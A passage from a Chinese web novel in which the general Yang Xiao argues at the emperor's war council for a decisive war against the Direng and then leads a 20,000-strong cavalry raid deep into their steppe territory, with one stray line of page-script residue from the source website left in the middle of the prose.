李伯通首先将一个小册子放置杨笑面前,开口道:“将军。这是近期各路大军传来的军情。据悉,大殿下所部进入街上草原后,已经与狄戎族的军队有了几次不大不小的接触。双方都是试探性的打了几下,所以也谈不上什么胜败。大殿下下一步的目标是向东靠拢,打算与陛下所在的大军会合。目前,各路大军一切进展顺利。” 李伯通说完后,马志远接着上前道:“禀将军,我部因为接连大战后需要修整,再加上寻找将军的原因,所以耽搁了几天,不过也已修整的差不多了,再有一两天便可开拔上路。” 记着,王燕兴、呼延灼等人也接连禀报了各自所辖军队近期的情况。 等众人都汇报完后。杨笑又询问起了军中的其他各项事务。一众大小将领于是又纷纷向杨豹汇报了各自所辖事项的进展情况。在不知不觉中,忙碌的一天就又过去了。 第二天,杨笑见到了急匆匆赶回来的王大勇。他已经带着小黑在外面寻找杨笑好多天了,得到杨校平安归来的消息后,他立刻就马不停蹄的赶了回来。离开主人好多天的小黑也在杨笑身边不停的蹭来蹭去,一只大猫咪一样,样子十分的亲昵。 主仆二人见面后,王大勇就说道:“小姐收到大殿下传来的信儿后急的没法没法的,恨不得立刻亲自到沙漠里去找少爷。可小姐她千金之体怎么受得了这样的苦?再说山庄里面也离不开小姐。幸好被我爹娘他们给劝住了,小姐就命我一刻不停的赶过来找少爷。我在这边找了好几天了,都不见少爷的踪影,我自己都快要急死了。还好少爷吉人自有天相,真是老天爷保佑,老天爷保佑啊!”王大勇自顾自的说着,忽然又想起来自家小姐还在家里急等着他的消息呢,于是就又说道:“小姐还不知道少爷您已经平安回来的事儿呢,她这几天在家一定急得吃不下睡不着的,我得赶紧找人给小姐带信儿,免得她在家等着着急。”王大勇说着就要爬起来往外走。 王大勇一向是个寡言少语的老实人,杨笑还从来没见过他一口气说这么多的话呢,看的出来,他这时候高兴的很,这些天也确实为自己急坏了。见他站起来就要转身往外跑,杨笑一把拉住他说道:“大勇哥,不用这么着急,我昨天就已经让人飞鸽传书给家里报平安了。这些天也累坏了吧,先去休息一下,过两天再帮我带点东西给姐姐。” 王大勇一听说过两天还要让自己再回去,就急道:“少爷,我……我……我可不可以留在您的身边呀?您知道的,我还是有一点拳脚功夫的,再不济,我还可以帮您照顾小黑嘛,总比那些马夫照顾的要好吧?” 杨笑见他这副着急的样子,也知道并理解他的想法和心情。毕竟,来一场说走就走的军旅生涯,是每一个男人的梦想。于是就点头答应了下来。王大勇见杨笑答应了,这才千恩万谢的乐呵呵的回房间休息去了。 很快,大军开拔,直奔台阶山外而去。 霜塞城。在周王朝的军队到来前,原先侵占在这里的狄戎族人就已经全部撤走了。当然,留给周军的肯定是一片狼藉。把城里简单的收拾一下后,圣皇武昭就把中军营帐暂时安置在了这里。 此时,大帐内各路将领向圣皇汇报完各自的军机事务后正在商讨下一步的计划。就在众人各抒己见,争论不休的时候,就听见帐外有侍卫禀报道:“陛下,虎威将军到了。” 武昭脸上一喜,忙问道:“哦,他现在人在何处?” 侍卫回道:“回陛下,杨将军就在门外。” “快宣他进来。” 侍卫领命离去。不一会儿,杨笑就迈步进入了大帐之中。 “末将杨笑叩见圣皇陛下,万岁万岁,万万岁。” 作为女婿,私下里称呼一声“父皇”什么的自然是有问题,还显得亲近,但在大庭广众,群臣面前,自然是要口呼陛下,山呼万岁了。 皇帝命杨笑起身后说道:“你来的正好,朕正与众卿家将领们商讨下一步该怎么办,你可有什么好的意见吗?” 杨笑抱拳躬身道:“不知陛下与各位将军、大人们商议的如何了?” 皇帝说道:“现在大家的意见分别为主战、主和两种主张。而这两种主张里又分为现在就罢兵回朝;将失地尽数收复后再休兵;以及与狄戎族决战到底,不分胜负,誓不罢休三种意见。不知道你支持哪一种意见,亦或是你还有其他的看法呢?” 杨笑听到皇帝的话后,并没有急于发表自己的意见,而是又问道:“不知道这些主张都是基于哪方面的根据和理由呢?详细情况又是什么?” 皇帝闻言,抬手道:“哦,这一点让张相为你详细的说一说。” 张居?闻言后起身向皇帝一礼,然后又转身与杨笑相互见礼后,这才说道:“杨将军。主和的是以老夫为首的几位朝中大臣,几位封疆大吏和几位侯爷?” 张居?边说边引着杨笑,将几位与他政见相和的大臣诸侯介绍给他,杨笑也同这几位在朝中举足轻重的人物一一见礼。 “这些年来,我大周天灾人祸不断,国库空虚,百姓们可以说是到了民不聊生的地步。而我军眼下所筹粮草、军械、钱款最多能够维持半年。如果明年夏收顺利的话,说不定能坚持到明年秋天。嗯……在座诸位都知道,打仗打的就是钱粮。如果战事顺利的话还好,一旦战事拖延,明年秋后我们将面临的就是真正的油尽灯枯的地步,到那时候,朝廷就再也拿不出一粒粮一文钱来打仗的。到时候别说外敌入侵,说不定咱们自己就先乱了。” 张居?说到这里顿了顿,又说道:“所以我等的意见是,稳定住眼下的局面就可以了,好为朝廷留下一点本钱,让百姓们休养生息。日后,等朝廷渡过了难关,咱们再做打算。” 说完,张居?又将手引向一旁的北静王等人。北静王等人也与杨笑互相见礼。 张居?说道:“北静王与几位朝中大臣、将军,还有二位王爷、侯爷们的意见是,将异族所占之地尽数收复之后,再休兵不迟。” 这时,北静王起身道:“不错!我大军已然发动,全天下的百姓都在翘首以盼,等着我们大败敌军,凯旋而归的好消息。如果咱们就这么雷声大雨点小的回去,连丢掉的地盘都没能抢回来,岂不是让百姓们寒心?钱粮是重要,可失了民心,丢了士气,难道不重要吗?再说了,又不是真的无钱无米打仗了,不是还能坚持半年吗?只要再用两三个月,咱们就能彻底的收复失地,到时候再停战也不迟吗?” 张居?闻言双眉紧锁,摇头道:“两国交兵,又岂是你说停就能停的?一旦战事不利,受损失的只能是我们。” 北静王自然不会听张居?的:“这样的话,你刚才已经说过了,本王又岂能不知其中厉?你……。” 杨笑见他俩就要再次争论起来,忙伸手止住道:“二位大人王爷,稍安勿躁。不是还有一方意见吗?让在下听完再做争论不迟。” 北静王闻言瞪了张居?一眼,一甩袖子又坐了回去。 张居?又接着向杨笑介绍主战一方的代表人物和他们的理由。不出意外的,主张决战到底的绝大部分都是西梁的各路将领。不过让杨笑没想到的是,东安王竟也站在了主战一方的阵营里。不用说,杨笑也知道他们的理由是什么:不将敌人彻底打垮,等待自己的就是无休无止的麻烦……长痛不如短痛……为死去的百姓和兄弟们报仇……国之山河,寸土不让……异族一日不除,我大周便一日不宁……等等。” 等众人将己方的主张和依据都向杨笑说了一遍后,皇帝问道:“杨将军可还有其他的看法?” 杨笑闻言将在场的众人扫视一圈后,沉吟了一下,然后他开口说道:“末将窃以为,诸位将军大人们并没有考虑到,或者是说到这场战争的根本原因上来。” 杨笑的一句话,让在场的众文臣武将、诸侯藩王们皆是哗然。有脸色涨红,双目圆睁不服气的;低头抚须,目光闪烁,暗自思忖的;有脸色微白,想到了某种可能而感到后怕的;有想不明白,满脸好奇,等待杨笑继续说下去的。 张居?抚须思忖一下后,起身拱手道:“愿闻其详。” 众人也表示想听一听杨笑的意见。 让杨笑没想到的是,封常青也在大帐之中,只是先前人多嘴杂,他又坐在角落里,所以杨笑一时间没有注意到。当杨笑看到封常青后便上前拱手向其问候道。:“封将军也在这里,身上的伤可是无碍了?” 封常青也面含笑意,拱手回道:“托陛下鸿福,承蒙杨将军挂碍,在下的伤已经好多了。虽然还是跨不得马,提不动枪,但在这里为陛下研研墨,递递笔,或者想个笨法子什么的,还是将就着能干一点活儿的。” 皇帝武昭也说道:“杨将军有什么看法,大可说来。” 杨笑在得到皇帝的首肯后,向皇帝以及左右众人抱一抱拳:“那末将就直抒己见了。” 杨笑说完便问道:“此次敌军叩关入境,我西梁境地在短短时间之内便十去七八。敌军来势汹汹,如入无人之境,此种境况史所未见,诸位可知为何?” “朝中内乱,后方空虚。” 众人闻言,全都不约而同的看向那说话之人:东安王。 西梁王入关这件事,在场之人从始至终全都一清二楚,可人家现在已经是九五之尊了,是大周王朝的圣皇。就算是因为这个原因,你半点不给人家留面子,把这句话当众说出来可就不好了。 北静王迷斜瞥了东安王一眼,心道:“哼!也就你这个莽夫敢当众这么说了吧?” 皇帝则赧颜道:“听杨将军继续说。” 杨笑向皇帝一礼后继续说道:“东安王殿下方才所言,虽然不无一定道理……。” 杨笑刚说到这里就听东安王打断道:“看!我就说嘛。” 所幸,众人并不想理会他,杨笑也只是看了东安王一眼,就继续说道:“陛下入关之时,虽然带走了西梁境不少的兵力,但对异族并不是全然没有防备,边关之地的兵力不但没有减少,反而还多了一倍。之所以会出现此等溃败,是完全因为……。” “因为异人!?”武恭这时突然起身开口说道。 杨笑点点头:“不错。” 帐内不少人也都面露恍然之色。 这时有人问道:“那为什么他们又突然败退了呢?” “异人既然这么厉害,那为什么敌人会败的这么快呢?”有人附和道。 “这还用问,一定是杨将军把他们打败了。”有人说道。 杨笑摆手摇头道:“在下还没那份本事。” 这时皇帝问道:“杨将军可是知道些什么我们不知道的消息?” 杨笑回道:“末将哪里能知道这些?都是梁赞梁将军前几日托人告诉末将的。” 接着,杨笑又说道:“敌人的败退是因那些帮助他们的异人全都离开了,而那些异人之所以会突然消失,是因为他们都被某种原因给绊住了。梁将军叮嘱末将,一定要趁着这段时间,尽快将敌军彻底打败。否则,等他们卷土重来的话,后果不堪设想。” 众人都对这个消息震惊不已。一时间,面面相觑,议论纷纷。 杨笑向张居?拱手道:“张相忧国忧民,体恤百姓疾苦,实在是民之所福。毕竟当年太祖皇帝也是因为国家连年征战,百姓们疾苦不堪,在将敌族赶出西梁后,也选择了让百姓休养生息。” 张居?回道:“杨将军言重了。为陛下分忧,为百姓谋福,是我等职责所在。可是……。” 杨笑伸手止住道:“可是这一次的情况与当年太祖皇帝面临的情况大不相同。当年太祖皇帝休战,确实让百姓得到了休养生息,我大周的边境上也平静了一段。可这也间接的导致了数十年后,西梁的边境上便一直不再平静,直到今天的这场大战。” 杨笑说到这里时,立刻便有人站出来质问杨笑竟敢诋毁太祖皇帝的功绩。杨笑却淡然道:“诸位稍安勿躁,且听在下把话说完。” 皇帝武昭也抬手示意众人听杨笑说完。见圣皇都没说什么,那质问杨笑的几个人也只得向皇帝一礼后坐了回去。 杨笑继续说道:“当年太祖皇帝休战,那是把敌人打败打残,打的他们无力再战之后才休战的。而今天,与其说狄戎族是败退,不如说他们更像是有计划的暂时撤退。要知道,他们的实力并没有受到实质性的,大的损失。他们随时都有卷土重来的可能。再者说,我朝这些年来灾祸不断,百姓积苦深重,可敌人这一两年也不是有多好过。单是去岁今春的雪灾就让他们损失不小。再加上现在又是冬季,冬季作战天然对他们就不利。现在两族军民就好比疲兵对疲兵,看的就是谁能刺出那最后一枪。倘若我军能在这时候拼出最后一把力气,将敌人彻底打败,那么就算他们的那些艺人到时候腾出手来了,单凭那几个艺人又能怎么样呢?反之,一旦我们这时候松懈下来,到时候狄戎族携异人而来,其后果可想而知。更何况还有一个雪藩族在那里虎视眈眈。雪藩族的恶毒,我想诸位全都心知肚明,望山府里的血可是还没干呢。到那时,说亡国亡种恐怕也不是没有可能吧?” 最后,杨笑补充道:“战,尚有一线生机。退,则会败的彻彻底底。诸位,其中利害,在下以尽数道之,是战是退,诸位在心中好好掂量掂量吧。” 这时,封常青在旁说道:“陛下御驾亲征,如此大费周章,想必也不愿意就此罢休吧?” 闻听此言,在场许多人眼神微动,心中已然了然。 其实在很多方面,朝堂之上和世俗百姓之间并没有多大的区别。很多时候,一件事能不能办成,往往不是看支持和反对的哪一方人多,而是要看那个能最后拍板决定的人是什么心思。就像眼下,虽然议和的声音明显人多事大,但这不符合皇帝的心思。于是皇帝就让大家在这里讨论来讨论去,直到有一个符合皇帝心思的人站出来说服了大家,这才让事情有了最终的结果。大家都是久经宦海,心思通透之辈,这样的事情稍一寻思,自然就会明白。只不过今天大家争论的热闹,都在一门心思的想着如何说服对方,这才没有想到这一层罢了。 皇帝武昭闻言,面上微微一笑道:“看样子,事情似乎是有结果了?” 众文臣武将全都起身出列,躬身道:“听凭陛下决断。” 皇帝起身道:“既如此,列位臣工就把心思往一处使,咱们争取与敌军速战速决。” 众人齐声道:“陛下圣明。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十八回 沙场点兵 上一回说到大周王朝决意与狄族决战到底。 就在皇帝武昭颁下旨意众人领旨后,大皇子武恭上前一步,出列道:“陛下既已决议与狄戎族决战到底,那么当务之急就是寻找敌军主力所在,然后与之一决胜负。可眼下咱们连敌军的主力在哪里都不知道,这可如何是好?” 众人闻言,或低头沉思,或交头接耳,都在思考如何寻找敌人主力的办法。 这时封常青又起身道。:“还有一个问题。” 众人于是又把目光投向封常青。 皇帝问道:“什么问题?” 封常青:“陛下兴兵两百万,欲与敌军一决胜负。可我军所有的粮草物资都要从关内各地送来,路途遥远,单是运输押送这些物资,就要耗费掉不少的兵力,再加上还要提防藩族,这样一来又要用掉一部分兵力,随着我军的不断深入,还要消耗掉一部分兵力,到最后真正能与狄戎族决战的兵力,其实不足百万。而狄戎族虽说只有七十万兵力,但我军毕竟是域外作战,这仅有的一点兵力优势又要抵消掉一部分,可以说在兵力上咱们其实不占什么优势。所以对敌之事当倍加小心,万不可有半点闪失。” 北静王起身道:“封将军所言极是。敌人虽善用骑兵,速度上足够快,但我军也并非全无优势。就比如我军甲厚弩强,在步军上明显强于敌军,骑兵方面虽说数量上不如敌军,但不论步骑,我军都在个体实力上强于敌军。总体上来说,优势在我。所以咱们万不可急于求成,稳扎稳打才是正道。” 东安王则有不同意见:“速度足够快,就会占据主动。我们知道自己拖不起,敌人未尝不知道我们拖不起。如果他们打定主意不跟我们决战,施展一个拖字诀,就算找到他们的主力,又能怎么样?人家大不了拍屁股走人,到时候咱们追又追不上,打又够不着,这可如何是好?” 东安王的话一时间让大家陷入了沉思,这未尝不是一个大问题。 “那就逼着他们跟咱们决战!” 就在众人冥思苦想对敌之策之际,一个声音在打帐内响起。众人齐齐抬头望去,原来是一直未在言语的杨笑。 皇帝闻言目光一闪,问道:“杨将军可是有什么好主意?” 杨笑抱拳道:“我军粮草物资耗费颇多,敌军的耗费也不少。陛下以举国之力与其决战,敌军未尝不是同样以举国之力应对我军。”杨笑说着伸手一指皇帝的身后说道:“陛下请看。” 皇帝回头看了一眼身后挂着的地图,对杨笑说道:“杨将军上前说话。”说着就退到了旁边。 杨笑向皇帝恭敬一礼谢恩后走上前去,指着地图说道:“敌人虽说避而不战,但想必不会撤的太远,况且又经常派出小股兵力骚扰我军,这更加说明敌军的主力离我军并不太远,最起码也在这南苑地界。”杨笑说着,伸手在地图上画了一个圈,然后又接着说道:“我们只要派出一支骑兵,以迅雷之势在这里,这里,经过这里到这里,再到这里。”杨笑在地图上连点带划的指出了好几个地方:“只要在这些地方一通乱杀,搅乱他们的后方,打断他们的补给,劫掠他们的粮草,便可使敌人后方大乱。而陛下这边,只要收缩兵力,步步为营,慢慢的向他们逼近便可。到时候敌人粮草不济,军心不稳,就只有与我军决一死战这一条路可以走了。” 封常青这时笑道:“因为他们一旦后撤,被我们追着屁股杀起来的话,败的只会更撤底。” 杨笑点头道:“不错!正所谓最难组织的战斗就是撤退。敌人一旦后退,损失只会更加惨重,这样一来,不愁敌军不与我军决战。” 大皇子武恭问道:“这样一来的话,这支骑兵不但数量上要足够,更重要的是一定要精。出奇兵,才能见奇功。这么重要的一支奇兵,由谁来统领呢?” 杨笑向皇帝躬身道:“末将愿往。” 在杨笑请命的同时,下面也有许多的将领请命出征。 就在众人纷纷争抢的时候,封常青说道:“此计策即由杨将军提出,想必接下来的每一步行动,杨将军已然是成竹在胸了。我认为此行非杨将军莫属。” 张居?也说道:“老臣也觉得只有杨将军这等神勇之将方能胜任此行。” “臣附议。” “臣也附议。” “末将附议。” “末将请命随杨将军出征。” ……。 在场不少文臣武将都同意这一决定,更有不少武将请命随同杨笑前往。 这是大皇子武恭说道:“杨将军如今的名声太盛。再加上神虎这样的坐骑又过于显眼,如果他不在军中的话,敌人必然生疑,那时敌军心生戒备,怕是会影响计划的顺利进行,所以杨将军去的话还是有些不妥。” 杨笑却说道:“无妨。家仆王大勇与小黑也很熟络,可由他假扮成我,在阵前时不时的露个面,两军阵前只要保持一定的距离,暂时骗过狄戎人应该不难。” 最后皇帝决定道:“好,就这么定了。军中将士兵马任杨将军挑选。准备妥当后,立刻出发。” 议事结束后,杨笑很快便定下了挑选人马的条件:家中独子者不要。双亲无人须奉养者不要。无后者不要。 这样的条件让军中负责账册的一干大小主薄们也是目瞪口呆,能同时满足这些条件的人真是没多少。最后在几十万的骑兵里也只找出来两万人。 ……烈烈北风之中,两万名骑兵整装待发。 这是一支铁一般的队伍。他们来自皇朝的不同地域,从四面八方汇聚而来。他们士气高涨,他们斗志昂扬,今天他们聚在一起,只有一个目的,那就是驱除鞑虏,保卫家园。这两万名骑兵全都是三十多岁到四十岁的军中老卒,他们有着丰富的作战经验,满腔的热血,和坚强的意志。 效高坐战马之上。一边检阅着这支士气高昂的队伍,一边高声道:“众将士们。有人要毁我们的家园,杀我们的父母,害我们的妻儿,我们该怎么办?” 两万人齐声高呼:“杀!” 这一声杀字振聋发聩,响彻云外。两万名热血将士用最简单的话表达了他们心中最直接的想法。 “此行九死一生,你们怕不怕?” 众将士再次高呼:“不怕!” 将军百战死,壮士十年归! 哪一个热血男儿不会为了守卫家园而抛头颅,洒热血? 沙场百战铁衣碎,马革染血裹尸还! 哪一个血性汉子不会为了保护妻儿父母而舍生忘死? “我们的目标是……?” “杀穿他们!”众将士三次高呼。 黄沙百战穿金甲,不破楼兰终不还! 战斗是艰苦。敌人是强悍的。可就算是“黄沙百战”之后“穿金甲”,就算是“白骨掩蓬蒿”,但将士们的报国壮志不会销磨,反而会在这凛冽的寒风中磨练的更加坚定。 此生既许国,誓饮胡虏血! “这一去……你们可能永远的留在那里……就算是死后……也再难回到家乡。你们……怕不怕?” 这一问,杨笑问的十分沉重。毕竟落叶归根是每一个人最后的心愿,而西梁军也有着从不抛弃每一个袍泽的传统。试问,又有谁愿意在异国他乡做一个孤魂野鬼呢? 也是这一问,让许多的将士们陷入了沉默。他们不是害怕,而是一时间不知道该怎么回答。 就在此时,有一人走出队列高声回答道:“大丈夫生于天地之间,当为国捐躯,战死沙场。就算不能马革裹尸而还,也要在这草原之上化为鬼灵永镇异族!” 这一句话充满了视死如归的英雄气概,把一腔报效国家,战死疆场的热忱表达的淋漓尽致。杨笑忍不住叫了一声:“好!好一个永镇异族!” 只解沙场为国死,何须马革裹尸还! 众将士们的士气也在这一刻被烘托到了极点。两万人一遍遍的齐声高呼道:“永镇异族!永镇异族!永镇异族!……!” 正是:黄沙横滚狼烟生, 沙场试马点雄兵。 北风万里开虎帐, 金戈铁马踏征程。 雄鹰吐雾迷魂阵, 铁甲铮铮慑鬼惊。 朝霞尽染壮士血, 长缨到处缚苍龙! 究竟杨笑带领这两万人会打下来一个什么样的战果?此去又会有哪些遭遇?欲知后事如何,且听下回分解。 第一百四十九回 草原奇兵 上一回说到杨笑挑选了两万余名骑兵携风云之势而去。这次出征,杨笑为每一名骑兵至少配备了三匹战马,让他们带族弓弩箭矢和战马所需的精细饲料,而水和干粮每个人则只待了七天的量。 他们先是回头往台阶山的方向走了半天,然后又转向东面走了半天又一夜。到了第二天早上,他们离开出发时的大本营已经有很远的一段距离了,已经完全的脱离了己方大军的视线,也离开了狄戎族探子的视线。这时杨笑命令道:“传我将令!大军全速前进,所有人,马上吃,马上睡,战马交替换乘,马歇人不歇,有拖延掉队者,军法处置!” 传令兵高声应“是!”传令而去。 于是,所有的战马都甩开四蹄飞奔起来,除了给战马喂水喂料的时间外,一刻不停地向北而去。 又过三日。 杨笑所率领的两万人马已经深入到了狄戎族的领地。这时有探马来报:“距此三十里外,发现一座小部落,大概有几十口人的样子。” 杨笑在马上回道:“记住,我们此次的目标是敌人大后方的关键节点,像这样的小部落,只要他们没有发现我们,就不要惊动他们,绕过去,继续前进。” 那探子回一声:是。转身而去。 又过一日,一个约有千余人口的部落出现在杨笑等人的前方。像这样规模的部落,在这一带已经算是一个中等偏上规模的部落了。因为和大周王朝开战的原因,部落里的青壮年基本上都被抽调充军去了。否则的话,以这个部落的规模也不至于只有这么一点老弱病残。即便是这样,杨笑他们也不会放过这些狄戎族人。只是眨眼的功夫,这些狄戎族人便被尽数拿下。 杨笑还没有残忍到要把他们全部杀光的地步。带走所有的粮食、弓箭和马匹后,剩下的牲畜要么杀掉,要么驱散。然后杨笑他们便把这些残存下来的狄戎族人丢在原地,扬长而去了。 毕竟在这寒风瑟瑟的茫茫草原上,这些老弱病残们想要靠一双肉脚找到另一个部落传递消息的话,那简直是难如登天一般。就算他们侥幸能够找到,到那时,杨笑他们早已经不知道跑到哪里去了。 就这样,杨笑一路马不停蹄,连绕带杀的接连消灭了十几个大大小小的部落。 这一天,他们来到了一处丘陵地带。 远远望去,大大小小的丘陵缓缓的隆起,绵延出方圆五六十里的地带。其间分布着几处池塘、湖泊和一条小河。一个大型的狄戎族部落就分布在这片丘陵地带。 杨笑指挥大军乘着夜色包围了这些狄戎族人。 黎明时分,包围圈合拢完毕,骑兵们发起了进攻。尽管他们在人数上处于劣势,但部落里的狄戎族人多是一些老弱妇嬬,根本没什么战斗力,能舞刀开弓的青壮年十不足一,很快战斗就结束了。半天后,战场打扫完毕。 马善于奔跑,但马其实也是一种十分娇贵的东西。要想让它能够跑得快,跑得远,那么优质的草料和干净的水源就必不可少,除此之外还要喂给他不少的精细饲料。就这还不能让他跑的太累了,每跑上一阵子,就要让他好好的休息一下。要像伺候大爷一样给他喂水喂料,要不然的话,他就会病给你看。所以,那些日行千里夜走八百的千里马,也就在文人墨客的诗篇和小说里存在一下,日常生活中是根本不可能存在的。还没等他跑够一千里呢,就先在路边卧倒了。 两万骑兵,一路走来陆陆续续的损失了不少的战马。那些战马要么在病倒后被直接丢弃在草原上,要么被他们杀掉做了口粮。虽然在路上从那些大大小小的部落里补充了一些,但还是有一些亏损。眼下的这一战,不但补足了粮草马匹的亏空,还有一部分不小的盈余。 以战养战,简直不要太完美。 更关键的是,经过对这些狄戎族人的审讯,得知他们是狄戎族七大部落之一的次仁部落的一个分支。而他们的大首领次仁罗布,此时正在百里之外的一处地方招待贵客。 事不宜迟,迟恐生变。经过短暂的整备后,大军风驰而去。当然,走之前依然是补足弓箭兵器,备足粮草,然后就是带走所有的马匹。除了那些老弱妇孺之外,一个青壮俘虏不留。凡是带不走的,一律毁掉烧掉。 傍晚时分,有探马来报:“前方发现一支数百人的队伍,其中有几辆很是华丽的车辇,还有女眷伴随其中,周围有侍卫保护戒备,应该是敌方的大人物出行至此。” 杨笑闻言命令道:“直接杀过去,活捉里面的大鱼!王将军带人绕后,不要让他们跑了。” 两万人的队伍,当然不可能只靠杨笑一个人带。骑将出身的王燕兴当然是少不了要倒在身边的左膀右臂。王燕兴得令后,二话不说就代领一支人马离队而去。 两万骑兵打一支几百人的队伍,那还不是手到擒来,手捏把掐。用狮子搏兔来形容都不一定合适,简直就是大象踩蚂蚁,只要轻轻一下,就尸骨无存了。最后剩下的十来个人全都被层层围住。 这最后剩下来的十来个人,但是从衣着服饰上来看,也知道不是一般的狄戎族人。其中一个十八九岁,头戴金冠的男子开口道:“我乃阿南措,浑邪王之子,你们是什么人?要造反不成?” 他身旁一个50多岁,须发略白的男子轻轻碰了碰阿南措的手臂小声提醒道:“他们是周人,是西梁军,您快别说话了。” 阿南措一下子吓得脸色惨白,难以相信的喃喃道:“西……西梁军?怎么可能?” 杨笑在马上望着阿南措说道:“没什么不可能的,我的王子。乖乖的,跟我们走吧?”说罢又把目光转向那中年男子:“他是浑邪王的儿子,你应该就是次仁罗布吧?” 次仁罗布上前一步,一手抚在胸前向杨笑深深一礼躬身道:“在下正是次仁罗布,不知道这位将军尊姓大名?” 杨笑并没有回答次仁罗布的问题,而是指着他身边的几个年轻男女又问道:“他们呢?” 次仁罗布回头看了一眼,又向杨笑回道:“他们几个都是在下的子女,我尊敬的将军。” 次仁罗布在回答杨笑的问题时始终都躬着身子,一副十分彬彬有礼的样子。 杨笑轻笑一声。:“你不用跟我这么客气,本将军也没功夫跟你在这里客套来客套去的。”说着,杨笑看了一眼次仁罗布身后那年轻貌美的女子,又看了看阿南措。笑道:“你们这是在……相亲?拉亲家?” 一句话问的众将士们全都哈哈大笑,次仁罗布也是老脸通红,脸上满是尴尬之色。也难怪次仁罗布会无地自容,正值两族交锋之际,他们却还有心思跑出来狩猎游玩,想给自己的女儿找个好婆家,好攀上浑邪王这个高枝,以巩固自己的地位。好死不死的,还让西梁军给抓了包,成了人家的俘虏。这要传出去的话真是要让人笑死不可。也不知道这算不算前方吃紧后方紧吃? 有了这些大鱼做人质,次仁部落的本部自然是连夜就被杨笑给端掉了。狄戎族世代以游牧为生,其人逐水草而居,族人分布十分的散乱,并不像周王朝那样聚集在一起,形成一个个村镇城池。不过次仁部落毕竟是狄戎族七大部落之一的大部落,就算是本部也有着十多万人的规模,要以两万人来围剿他们还是要付出一定的代价的。还好他们居住的都比较分散,有利于杨笑他们分散包围,逐个击破。经过一夜的激战。这些狄戎族人死的死,逃的逃,被抓的被抓。最后经过清点,杨笑损失了几百的人马。这一战可以说是所获颇丰。 考虑到自己早已深入敌军腹地,刚刚的混战之中逃脱的敌人不在少数,随时会有得到消息的敌人杀来。杨笑于是命令队伍烧毁所有带不走的东西,随后便换了一个方向扬长而去。 ……就在杨笑把敌人的大后方搅得鸡飞狗跳的时候,大周王朝的各路大军与敌人也大大小小的打了几仗,渐渐的也摸清了敌人主力大致的方位,于是皇帝武昭便下令大军收缩力量,一步一步的向狄戎族大军主力所在的方位靠拢过去,逼迫他们早日与自己决战。 杨笑这边,把次仁部落的本部给掀了个底朝天,俘虏了次仁部落的一种关键人物后,又率军接连挑翻了另外两个规模比较大的部落和一些小部落。一路顺风顺水的杨笑,这一天却碰上了一个难题:漫天的大雾让他们在草原上迷失了方向。 冬天里的大雾天气着实是罕见,为了防止队伍里有人员丢失、走散的情况发生,杨笑命令大军收缩队形,减慢行军速度。本以为这场罕见的大雾会很快消散,没想到,这一雾就是几天几夜,而杨笑他们也就在大雾里走了几天几夜。 这一天他们误打误撞的碰上了一个有着万余人口的部落,不出意外的再次被他们剿灭了。考虑到将士们一路奔波大战已是十分劳累,而且在这样的天气里,敌人就算是想要找自己也不容易,于是就让大家就地休整,等大雾散去后再说。 夜里,红彤彤的碳火上炙烤着鲜嫩的羔羊肉,杨笑和二叔杨笑一边用匕首割下一片片的羊肉吃着,一边随意的闲聊着,这是他们进入狄戎族腹地以来少有的闲暇时刻。 杨笑:“二叔,你说你跟在堂叔和李刺史身边多好,干嘛非要出来遭这份罪?” 杨豹把一片羊肉蘸了点咸盐放到嘴里面,一边嚼一边含糊不清的说道:“赚军功啊!”然后,杨豹喝了口羊杂汤,润了润嗓子后,又接着说道:“你看啊,一开始我跟着大哥我俩来到西梁,都是从一个最普通的小兵卒子做起。大哥他脑子活泛,运气也好,没几年呢,就在县城的军营里成了个小头头,后来又当了校尉。我也跟着沾大哥的光,先是当了个伍长,不过咱这人脑子笨,当个伍长已经够我费神了,后来又让我当上了百夫长,说实话,我干的真是有点儿吃力,不过也算勉勉强强,再后来的事你也就知道了。二叔沾你的光,也算是走了一点小运气,王爷……嗯……也就是咱们的陛下,赏了我一个校尉。虽说这督造校尉的活儿不用费多少脑子,可它搁不住二叔的脑子笨呐,干的那叫一个头两个大。到如今呢,你就不用说了,大哥他在李将军手底下也算是这个了。”杨豹说着伸了个大拇指,表示自家兄长现在也算是很厉害的了。然后,他把嘴里的羊肉一咽,接着又说道:“以大哥的才干,再加上有你的帮衬,将来就是李将军那样的位子也是可以想一想的。现在只有二叔还是个不值一提的小小从五品游奇将军。”杨豹说到这里拍了拍胸脯说道:“可二叔也是个要脸面的,二叔也很有上进心呐。二叔也想着凭咱这一膀子力气,能再往前更进一步。”杨豹说到这里,把满脸的激动和严肃一收,转脸又笑嘻嘻的说道:“这不是想着再沾大侄子你一点光,捞点儿军功,也好再往上爬一爬嘛。” 杨笑听他一连说了这么多,再想想他当时死皮赖脸求自己时的样子,就有一点无语:“跟着李将军也能捞军功,没必要非跑到这里来冒险,家里二婶儿还有两个吃奶的孩子还等着你回去呢。” 杨豹把头一摇:“嗯~。那不一样,跟着你捞的快,捞的多呀!” 两个人正说着,王燕兴和另外几个将领走了进来。几人向杨笑见礼,杨豹也起身同几人见礼,杨笑请他们一起坐下来吃羊肉。几个人道谢坐定后,王燕兴说道:“将军,帐篷有点儿不够用,外面的天气这么冷,平时在马上不休息,一直活动筋骨还好说,这一停下来不活动身体,再想睡上一觉的话,将士们怕是有点儿吃不消啊。” 杨笑问道。:“还有多少人没帐篷?” 王燕兴回答:“除开值夜的人以外,大概还有三四千人没帐篷。” 杨笑略想了一下,问道:“你们有什么办法安排吗?” 几个人相互看了看,王燕兴说道:“属下打算让这些人干脆一起参与值夜,然后让有帐篷的人去替换他们,这样既加强了夜里的防备,又能让大家轮流在帐篷里休息一下。” 杨笑点头道:“嗯。这个办法不错,就这么安排吧。” 一名高瘦将领闻言起身说道:“末将这就去安排。将军,几位,慢慢吃。” 等那名将领走出帐篷后,杨笑又说道:“这个帐篷里还能再挤几个人,一会儿你再去喊几个兄弟过来挤一挤,人多了也暖和些。” 王燕兴点头称是。然后几个人就围坐在一起一边吃一边讨论起了接下来的行动计划。 本以为这场罕见的大雾会很快散去,谁知道这一雾就是两天,等到了第三天辰时将过时,草原上终于起了风,大雾也很快被吹了个干净。雾虽然散了,但天空却并没有晴朗起来,而是布满了深灰色的铅云。 雾散后,杨笑便下令全军加速前进。 骑兵们再次在草原上奔驰起来。 